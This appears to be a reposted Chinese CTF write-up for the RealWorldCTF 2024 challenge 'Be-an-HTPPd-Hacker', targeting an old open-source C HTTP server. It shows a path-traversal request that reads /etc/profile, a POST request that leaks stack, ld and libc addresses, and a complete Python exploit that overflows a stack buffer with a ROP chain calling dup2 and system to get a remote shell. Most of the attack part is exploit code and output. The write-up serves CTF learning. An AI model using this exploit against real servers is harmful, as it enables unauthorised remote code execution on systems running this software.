当前位置: 代码网 > it编程>编程语言>C/C++ > 跟随realworldCTF,做一个http网络协议黑客

跟随realworldCTF,做一个http网络协议黑客

2024年08月03日 C/C++ 我要评论
本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目——"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。

前言

本报告旨在对realworldctf 2024体验赛中的pwn方向题目——"be-an-htppd-hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于c语言实现了http协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。

搜索字符串,github找源码

从ida中,shift+f12提取,得到字符串,在github进行搜索能够得到源码在这:

https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c

具体构造

构造的代码如下,也就是方法 地址 加协议:

 method, uri, vprotocol

如 post www.baidu.com xxx

源码如下:

request parserequest(char buffer[]) {
    char *ptr = buffer;
    char method[maxline], uri[maxline], vprotocol[maxline];
    request req;
    
    sscanf(ptr, "%s %s %s", method, uri, vprotocol); 

    // somente get ou post
    if(strcasecmp(method, "get") == 0) 
        req.method = "get";
     else if (strcasecmp(method, "post") == 0) 
        req.method = "post";
    else {
        req.method = "invalid";
        req.vprotocol = "invalid";
        req.uri[0] = '\0';
        return req;
    }

    // sera testado futuramente. por enquanto aceita que é um uri valido
    req.uri = uri;
    
    if(strcasecmp(vprotocol, "http/1.0") == 0)
        req.vprotocol = "http/1.0";
    else if (strcasecmp(vprotocol, "http/1.1") == 0)
        req.vprotocol = "http/1.1";
    else
        req.vprotocol = "http/1.1"; // se nao especificado

    return req;
}

get路径穿越

其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对www进行拼接读取。

    else if (res.status == 200 ) // ok
    { 
        return sendfile(req, res,connfd);
    }

阅读源码发现如上。

不过flag没有可读权限,只能通过readflag来执行。

from evilblade import *

context(os='linux', arch='amd64')
# context(os='linux', arch='amd64', log_level='debug')
#get /index.html http/1.1
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
# rsetup('121.40.246.203',30594)
# pause()
payload = 'get ' + '/img/../../../etc/profile  http/1.0\x00'
# payload = b'post /form-example.html/../img/../../../add http/1.1\r\n'
pause()
sl(payload)

ia()

这是路径穿越读/etc/profile。

图片

 

post栈溢出

其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算

    char *line = (char*) malloc(end-start);

中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。

代码可以看到:

int sendpostmessage(request req, response res, int connfd, char *linepost){

    char buffer[maxline];
    
    //prepara cabecalho html
    sprintf(buffer, "<html><head><title>submitted form</title></head>");
    
    //cria body
    strcat(buffer, "<body><h1>received variables</h1><br><table>");

    strcat(buffer, "<tr><th>variables</th><th>values</th></tr>");
    
      char * pch;
      char temp[250];

    pch = strtok (linepost,"&=");

    while (pch != null)
    {
        sprintf(temp, "<tr><td>%s</td>", pch);
        strcat(buffer, temp);

        pch = strtok (null, "&=");

        sprintf(temp, "<td>%s</td></tr>", pch);
        strcat(buffer, temp);

        pch = strtok (null, "&=");

    }

    //fecha body e html
    strcat(buffer, "</table></body></html>");

    sendheader(connfd, req, res, "ok", "text/html");

    write(connfd, buffer, strlen(buffer));

    return 0;
}

也就是会根据&或者=分割之后,进行连接到temp。

其中linepost如下:

void httpd(int connfd) {

                     
    char buffer[maxline]; // buffer dos dados de input
    char filebuffer[maxline];
    request req; // pedido do cliente
    response res; // resposta do servidor
    struct stat st;
    int n;
    int sizecontent = -1;

    // le o que está vindo no socket
    n=read(connfd, buffer, maxline);
    
    int i = strlen(buffer);
    char options[maxline];
    int statusread = 0;
    strcpy(options, buffer);

    while(statusread == 0)
    {
        if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n')
        {
            statusread = 1;
        }
        else
        {
            n=read(connfd, options, maxline);
            //strcat(buffer, options);
            //printf("%s\n", buffer);
            i = strlen(options);

            if(options[0] == '\r' && options[1] == '\n' && n == 2)
                statusread = 1;
        }
    }

    // faz o parse da requisicao 
    req = parserequest(buffer);

    char *linepost;

    //encontra no buffer o tamanho do conteudo 
    if(strcmp(req.method, "post") ==0)
    {
        linepost = getlastlineread(buffer);
    } 
//……
char *getlastlineread(char *buffer) {

    int numlines = 0;
    int start = 0;
    int end = 0;
    int bufsize = strlen(buffer);
    
    int i = 0;
    int j = 0;

    for (i=0;i<bufsize;i++) {
        if (buffer[i]=='\n') {
            numlines++;
        }
    }

    int *vetpositionline = (int*) malloc(numlines);
   
    for (i=0;i<bufsize;i++) {
        if (buffer[i]=='\n') {
            vetpositionline[j] = i;//出现回车的地方
            j++;            
        }
    }

    start = vetpositionline[numlines-3];
    end = vetpositionline[numlines-1];  
    
    char *line = (char*) malloc(end-start);
    strncpy(line,buffer+end,bufsize-end);

    return line;
}

就是说当他会把\n处作为起始地址,然后把后面的内容复制到line,这样就可以泄漏地址了!

使用exp:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)

payload = b'post '+ b'a'*3982 + b'\n'
pause()
sl(payload)

ia()
  • • 调试方法:执行exp后,用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p pid即可。

或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')

图片

 

最后会从buf+你输入的数据长度,取一个数据写到heap中,下次取出来作参数。

图片

 

主要对此处进行断点观察。

图片

 

可以看到:

图片

 

由此可以泄漏出libc甚至其他了。

使用脚本:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload = b'post '+ b'a'*3982 + b'\n'
sl(payload)

ru("values</th></tr><tr><td>")
stack = u32(rv(4))
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

ia()

泄漏得到:

---------------
your stack is >>> 0xff9c9f0a
---------------

---------------
your ld is >>> 0xedf40000
---------------

---------------
your libc is >>> 0xedcca000
---------------

构造rop

从这个部分可以发现,会将原本的内容根据&=分割,然后加上之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行rop构造,从而getshell。

      char * pch;
      char temp[250];

    pch = strtok (linepost,"&=");
while (pch != null)
{
    sprintf(temp, "<tr><td>%s</td>", pch);
    strcat(buffer, temp);

    pch = strtok (null, "&=");

    sprintf(temp, "<td>%s</td></tr>", pch);
    strcat(buffer, temp);

    pch = strtok (null, "&=");

}

做以下构造,经过多次尝试终于得到了控制返回地址为xxxx:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload = b'post '+ b'a='*1850

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)

payload = b'post / a\n'+ b"a"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="
d(payload)
dpx('len',len(payload))
pause()
sd(payload)

其中xxxx为任意地址,可以返回!

图片

image-20240213222234157

由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。

搜索有:

pwndbg> search -4 0x11111111
searching for value: b'\x11\x11\x11\x11'
libc.so.6       0xf0ca28f4 0x11111111
libc.so.6       0xf0ca2a08 0x11111111
libc.so.6       0xf0ca2a0c 0x11111111

计算得到:
λ ~/ python
python 3.11.6 (main, nov 14 2023, 09:36:21) [gcc 13.2.1 20230801] on linux
type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xf0ca28f4 -0xf0af1000)
'0x1b18f4'#这是libc偏移
>>> hex(0x100000000-0x11111111)
'0xeeeeeeef'
>>>

那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。

构造的rop如下:

push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)

# dup2($ebx,$ecx)
rop =  pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
    print("stop!")
    pause()

payload = b'post '+ b"a"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="

完整exp如下:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload = b'post '+ b'a'*3982 + b'\n'
sl(payload)

ru("values</th></tr><tr><td>")
stack = u32(rv(4))-0x1ed0a
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

close()
rsetup('127.0.0.1',33333)
payload = b'post '+ b'a='*1850 

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)


sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; ret
push_eax = p32(libc + 0x00036a7d) # push eax ; ret
pop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; ret
dup22 = p32(symoff("dup2",libc)+0xe)
push_edx = p32(libc+0x00192ac8) # push edx ; ret 
pop_edx = p32(libc+0x00037375) # pop edx ; ret
pop_esi = p32(libc+0x00021479) # pop esi ; ret
push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)
# dup2($ebx,$ecx)
rop =  pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
    print("stop!")
    pause()

payload = b'post '+ b"a"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="


d(payload)
dpx('len',len(payload))
dpx("begin",uu64(pop_esi))
dpx("nop",uu64(nop_ret))
dx(stack)
pause()
sd(payload)

ia()

攻击结果:

图片

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com